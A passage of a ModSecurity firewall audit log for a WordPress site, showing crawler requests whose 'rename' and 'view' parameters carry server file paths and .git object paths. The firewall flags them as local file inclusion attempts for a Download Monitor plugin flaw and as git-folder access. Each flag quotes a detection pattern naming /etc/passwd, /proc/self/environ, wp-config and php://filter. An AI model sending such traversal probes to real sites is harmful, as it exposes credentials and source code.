(Varnish/7.7)","X-Varnish":"789134"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8295fc48ec01d445a5481c7109310e69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/en_BW/LC_NAME||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":317,"p2":14878,"p3":0,"p4":0,"p5":414,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:45:16.023989 +0100","transaction_id":"abOWW4JMkxuqkfzoMwBNJgAAAcw","remote_address":"57.141.20.13","remote_port":40652,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.3/include/php/Zend/zend_enum_arginfo.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"971d5e73281e40fc87141a8314ab437f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3769014"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"971d5e73281e40fc87141a8314ab437f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.3/include/php/Zend/zend_enum_arginfo.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":424,"p2":6288,"p3":0,"p4":0,"p5":331,"sr":145,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:45:30.964630 +0100","transaction_id":"abOWapn1uGdaZ1c5-sN4xgAAABM","remote_address":"57.141.20.17","remote_port":59562,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_system_id.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"6fe1837a6e6d9f587cc0b16ac20e390e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6784124"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6fe1837a6e6d9f587cc0b16ac20e390e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_system_id.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":4538,"p3":0,"p4":0,"p5":456,"sr":91,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:46:03.002454 +0100","transaction_id":"abOWinAYndnjcgJ-i-LkZQAAAIY","remote_address":"57.141.20.44","remote_port":39238,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/blockskit/blockskit.1.0.7.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"4d9b47f79399626e8074dfe4d69e3697","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8520037"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4d9b47f79399626e8074dfe4d69e3697","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/blockskit/blockskit.1.0.7.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":315,"p2":6402,"p3":0,"p4":0,"p5":359,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:46:20.336006 +0100","transaction_id":"abOWmyFJ_Ynbc5Nhz1aaLQAAAQs","remote_address":"57.141.20.54","remote_port":57704,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a5/0939cb5a605273164eccb95b2899c7c59f3505 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"0596faa63adad9c7e449e6397feccbe4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5178897"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0596faa63adad9c7e449e6397feccbe4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a5/0939cb5a605273164eccb95b2899c7c59f3505||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":406,"p2":10305,"p3":0,"p4":0,"p5":363,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:46:38.506496 +0100","transaction_id":"abOWrSFJ_Ynbc5Nhz1aaWAAAAQY","remote_address":"57.141.20.15","remote_port":40662,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/avahi.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"5068a4c53ba6db33693c4c416ef86804","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8060954"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5068a4c53ba6db33693c4c416ef86804","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/avahi.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":353,"p2":4923,"p3":0,"p4":0,"p5":334,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:46:44.795815 +0100","transaction_id":"abOWtPgQSd_XQ-U0cJxZHgAAAVQ","remote_address":"57.141.20.55","remote_port":53840,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php8.4/include/php/main/spprintf.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"5fd36706a9098f5264abb1b8324f8e70","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7439278"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5fd36706a9098f5264abb1b8324f8e70","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/main/spprintf.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3724,"p3":0,"p4":0,"p5":344,"sr":94,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:46:54.079466 +0100","transaction_id":"abOWvfgQSd_XQ-U0cJxZNAAAAUg","remote_address":"57.141.20.45","remote_port":50936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/sftproot/htdocs/sivaco/.git/hooks/pre-receive.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"16c80036736a8f4c4e939fbb793fc7a1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"459050"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"16c80036736a8f4c4e939fbb793fc7a1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/sftproot/htdocs/sivaco/.git/hooks/pre-receive.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":6751,"p3":0,"p4":0,"p5":432,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:04.291358 +0100","transaction_id":"abOWx_gQSd_XQ-U0cJxZTgAAAUg","remote_address":"57.141.20.10","remote_port":50936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php8.4/include/php/main/SAPI.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"f011ef01353f0199a941eff26a596d29","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7700582"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f011ef01353f0199a941eff26a596d29","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/main/SAPI.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":384,"p2":8386,"p3":0,"p4":0,"p5":438,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:06.468027 +0100","transaction_id":"abOWySFJ_Ynbc5Nhz1aaoAAAARc","remote_address":"57.141.20.39","remote_port":57194,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/twentytwentytwo/twentytwentytwo.1.5.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"e09de82f41dfd08efab5f10ce17d8fca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"951384"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e09de82f41dfd08efab5f10ce17d8fca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/twentytwentytwo/twentytwentytwo.1.5.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":389,"p2":8287,"p3":0,"p4":0,"p5":470,"sr":160,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:06.778739 +0100","transaction_id":"abOWypn1uGdaZ1c5-sN5QgAAABA","remote_address":"57.141.20.1","remote_port":43914,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/1e/987b3799ea8b19ebf61535094c82a77031d804 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"0a8f03272cfefdad6434e246b46c3a99","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"789285"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0a8f03272cfefdad6434e246b46c3a99","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/1e/987b3799ea8b19ebf61535094c82a77031d804||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":403,"p2":11670,"p3":0,"p4":0,"p5":393,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:20.461170 +0100","transaction_id":"abOW13AYndnjcgJ-i-Lk-wAAAIU","remote_address":"57.141.20.41","remote_port":43892,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/tvi912b-unk HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"c3c42a130e24d0a39765f6a72fc8b7fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7635570"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c3c42a130e24d0a39765f6a72fc8b7fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi912b-unk||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":5965,"p3":0,"p4":0,"p5":392,"sr":164,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:47:20.466938 +0100","transaction_id":"abOW14JMkxuqkfzoMwBOGAAAAco","remote_address":"57.141.20.21","remote_port":50940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.1/include/php/Zend/zend_builtin_functions.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"d9acd247b7e0d3b1a6c77da2543d6ce1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7700618"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; 